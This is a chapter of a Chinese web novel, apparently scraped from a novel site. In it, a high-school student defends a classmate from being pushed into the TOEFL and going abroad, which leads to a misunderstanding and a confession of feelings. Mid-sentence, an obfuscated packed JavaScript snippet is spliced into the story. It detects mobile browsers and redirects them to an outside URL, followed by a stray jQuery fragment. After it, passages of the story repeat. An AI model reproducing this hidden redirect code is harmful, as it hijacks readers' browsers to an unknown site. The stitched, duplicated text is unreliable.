试卷边缘的锯齿划破指尖时，沈隅才后知后觉地皱了下眉。
办公室里很安静，只有纸张翻动的沙沙声，和杨雪老师对着电话那头温和又无奈的语气。
“……托福报名截止前必须定下来，他现在成绩已经有很大的进步了，到时候再劝劝他就好……”
“托福”两个字像细小的冰锥，猝不及防地扎进沈隅的耳膜。他捏着试卷的手指猛地收紧，指节泛白。原来如此。
这些天，杨雪总是有意无意地把最难的题留给陆严言，让他在课堂上讲解。
总是把整理好的高频词汇表“恰好”放在沈隅桌上，暗示他转交给陆严言。
甚至那天在走廊拐角，那句“多盯盯他”，背后藏着的是这样的目的。
不是担心他逆反，不是单纯想让他成绩好一点，而是一场有明确终点的“培养”——把那个连语法填空都能错一半的陆严言，塞进托福考试的框架里，然后送出国。
荒谬得让人心头发闷。
沈隅放下手里的试卷，转身时带起的风惊动了杨雪。她刚挂了电话，抬头看见他，习惯性地露出温和的笑：“数完了？辛苦你了，沈隅。”
“为什么不告诉他？”沈隅的声音很轻，却带着一种不容置疑的冷硬，和平时在教室里的安静截然不同。
杨雪脸上的笑容淡了些：“告诉他有什么用？徒增压力。等他成绩再上来点……”
“上来点？”沈隅打断她，指尖因为用力而微微颤抖，“您见过哪个连过去分词都记不住的人，能在半年里考出托福高分？您明知道他不想出国，为什么还要逼他？”
“他妈妈也是为他好……”
“为他好就该逼他做不喜欢的事吗？”沈隅的情绪有些失控，积压在心底的那些不对劲，此刻全都找到了出口。
他想起陆严言对着试卷抓头发的样子，想起他拿到自己抄的笔记时眼里的光，想起他说“学习不代表一切”时故作轻松的语气——那些鲜活的、真实的样子，凭什么要被塞进一个预设好的模具里？
他深吸一口气，几乎是咬着牙说出那句话，像是在自我惩罚，又像是在做最后的抵抗：“陆严言根本就是学不会的类型，就算付出再大的努力也没用！你们别再逼他了……”
话音落下的瞬间，办公室门口传来一声极轻的响动，像是有人踉跄着后退时撞到了墙。
沈隅的心脏骤然停跳了一拍。
他猛地回头，撞进一双盛满震惊和受伤的眼睛里。
陆严言就站在那里，书包带子滑到胳膊肘，脸上的血色褪得一干二净。他大概是刚走到门口，正好听见了那句最伤人的话。
时间仿佛凝固了。沈隅看见陆严言的嘴唇动了动，却没发出任何声音，只有那双总是亮闪闪的眼睛，一点点蒙上水汽，像被骤雨打湿的星子，瞬间黯淡下去。
“严言……”沈隅下意识地想解释，脚步刚迈出去，陆严言却像是突然惊醒，猛地转身，几乎是踉跄着冲了出去。
“等等！”沈隅心脏狂跳，所有的冷静和理智瞬间崩塌，他甚至忘了跟杨雪说一声，拔腿就追了出去。
走廊里空荡荡的，只有陆严言急促的脚步声在回荡。沈隅能看到他的背影，跑得那么急，像是身后有洪水猛兽在追赶。
“严言！你听我解释！”沈隅的声音带着自己都没察觉的慌乱。他从未如此害怕过，怕那双眼睛里的光彻底熄灭，怕自己刚才那句情急之下的气话，会在两人之间划下一道无法愈合的伤口。
陆严言跑得更快了，书包在背后颠得厉害。他脑子里嗡嗡作响，反复回荡着沈隅那句话——“根本就是学不会的类型”、“再大的努力也没用”。
是了，连沈隅都这么觉得。
那个会耐心给她讲题，会把整理好的笔记偷偷塞给他，会在他抱怨杨老师时安静听着的沈隅，心里其实也觉得他是个无可救药的笨蛋吧？
之前那些温和，那些耐心，是不是都带着一种居高临下的怜悯？就像看着一只努力想学会爬树的猫，明知不可能，还是会敷衍地鼓鼓掌。
他只是想来帮忙，为什么要让他听到那些话。
心口像是被什么东西狠狠攥住，又酸又胀，眼眶热得厉害。
他不想让沈隅看到自己哭，只能跑得更快，想把那些伤人的话，连同那个让他心慌的身影，都远远甩在身后。
教学楼门口的台阶有些滑，陆严言脚下一绊，差点摔倒。就在这瞬间的停顿里，沈隅终于追了上来，紧紧地抱住了他。
“放开我！”陆严言挣扎着，声音带着浓重的鼻音，已经有了哭腔。
他用力掰着沈隅的胳膊，可对方抱得那么紧，像是要用尽全力把他嵌进自己怀里，任凭他怎么推搡都纹丝不动。
“你听我解释。”沈隅的声音就在耳边，带着急促的喘息，还有一丝不易察觉的颤抖，“我不是那个意思。”
“那你是什么意思？”陆严言的声音哽咽着，眼泪终于忍不住掉了下来，砸在沈隅的手背上，滚烫的，“你就是觉得我笨！觉得我学不会！觉得我……”他说不下去了，巨大的委屈涌上来，让他几乎喘不过气。
他不再推了，只是任由眼泪汹涌而出，身体因为抽泣而微微发抖。沈隅的怀抱很暖，带着他身上惯有的、淡淡的皂角味，可现在这温暖却让他更难受——为什么抱着他的人，会说出那样的话？
沈隅感觉到怀里的人不再挣扎，只是肩膀一抽一抽的，像只受了伤的小兽。他心里又疼又慌，只能更紧地抱住他，把下巴轻轻抵在他的发顶。
“对不起。”他低声说，声音哑得厉害，“那句话是我说错了。我不该那么说。”
“杨老师在说托福，说要让你出国。”沈隅慢慢解释着，语速放得很慢，怕漏掉一个字，“我急了，我怕他们逼你做你不想做的事。我想说……想说你不适合这条路，想让他们放弃，才说了那样的蠢话。”
“我从来没觉得你学不会。”沈隅的指尖轻轻颤抖着，拂过陆严言汗湿的后颈，“你只是……需要多花点时间，需要有人告诉你，不用逼自己走不想走的路。”
陆严言的哭声渐渐小了。他埋在沈隅的肩窝里，闻着那让他安心的味道，听着他近在咫尺的心跳声，混乱的脑子慢慢清醒了些。
托福……出国……
原来沈隅是为了这个。
他说那些话，不是鄙视，是……保护？
意识到这一点，心里的委屈像是被戳破的气球，慢慢瘪了下去，取而代之的是一种更复杂的情绪。有羞赧，有庆幸，还有一种……让他脸颊发烫的悸动。
他能清晰地感受到沈隅胸膛的起伏，感受到他环在自己腰间的手臂有多用力，感受到他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279505|182493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说话时，气息拂过耳畔带来的微痒。
心跳得好快。
不是因为刚才的奔跑，而是因为这个拥抱，因为沈隅的话，因为此刻两人如此贴近的距离。刚跑完的热汗还在往下淌，心里那点没头没尾的委屈却像被风戳破的气球，慢慢瘪了下去。
取而代之的情绪缠成一团——耳尖发烫是羞赧，被沈隅圈在怀里没被推开是庆幸，还有种说不清道不明的热，从胸腔往脸颊涌，烫得他想偏头躲开，却又舍不得动。
陆严言忽然想起很多碎片——总忍不住看沈隅解物理题的侧脸，听他说话时会下意识凑近，连他皱下眉都觉得心里发紧。这些从前被归为“好朋友在意”的瞬间，此刻突然在脑子里炸开。
他猛地吸了口气，香樟叶的气息混着沈隅的味道钻进鼻腔。原来那些移不开的眼，那些莫名的在意，早就越过了“好朋友”的线。
沈隅的手臂还环在他腰间，力道不算轻，隔着两层薄校服，能清晰摸到对方绷紧的小臂线条，像根克制着的弦。
胸膛的起伏贴着他后背，一下下，沉稳得像鼓点，敲得陆严言心跳乱了节拍。
沈隅说话时，气息扫过他耳后，带着点刚跑完的热，混着洗衣液的淡香，痒意顺着脊椎往上爬，让他指尖都发了麻。
陆严言猛地意识到，自己对沈隅的在意，早就超出了“好朋友”的范畴。
他喜欢沈隅啊。
这个念头撞进心里时，陆严言的心跳突然稳了半拍，像迷途的船终于靠了岸。原来那些说不清道不明的在意，早就在心里生了根，只等这一个拥抱，让它破土而出。
这种认知让他瞬间僵住，连抽泣都忘了。
脸颊像被火烧一样，他想立刻推开沈隅，又莫名地舍不得这个温暖的怀抱。
沈隅感觉到怀里的人身体一僵，还以为他还在生气，连忙补充道：“我真的不是那个意思。你……”
“我知道了。”陆严言打断他，声音还有点哑，却带着一种奇异的镇定。他吸了吸鼻子，用手背胡乱抹了把脸，“放开我吧。”
沈隅犹豫了一下，慢慢松开了手。
陆严言转过身，眼睛红红的，睫毛上还挂着泪珠，却倔强地抬着头，直视着沈隅。夕阳的光落在他脸上，勾勒出少年青涩的轮廓，带着一种湿漉漉的、让人无法移开视线的脆弱。
沈隅的心跳漏了一拍。
“我本来就不想出国。”陆严言吸了吸鼻子，声音不大，却很坚定，“谁也别想逼我。”
他看着沈隅，眼神亮了起来，像是雨后初晴的天空，清晰地映出沈隅的样子。
“我会跟我妈说清楚的。”陆严言顿了顿，像是下定了某种决心，语气里带着一种前所未有的认真，“我会好好学习，用成绩告诉她，我留在这儿，也能活得很好。”
不是为了谁的期望，也不是为了证明给谁看，只是因为……他不想走。不想离开这个有沈隅的地方。
沈隅看着他，看着他眼里重新燃起的光，那光比以往任何时候都要明亮，都要坚定。他忽然笑了，是那种极浅的、却足以照亮眉眼的笑。
“好。”他说，“我相信你。”
陆严言看着他的笑，脸颊又开始发烫，连忙别开视线，看向远处的香樟树。树叶在晚风中轻轻摇曳，阳光透过叶隙洒下来，落在两人脚边，温暖而明亮。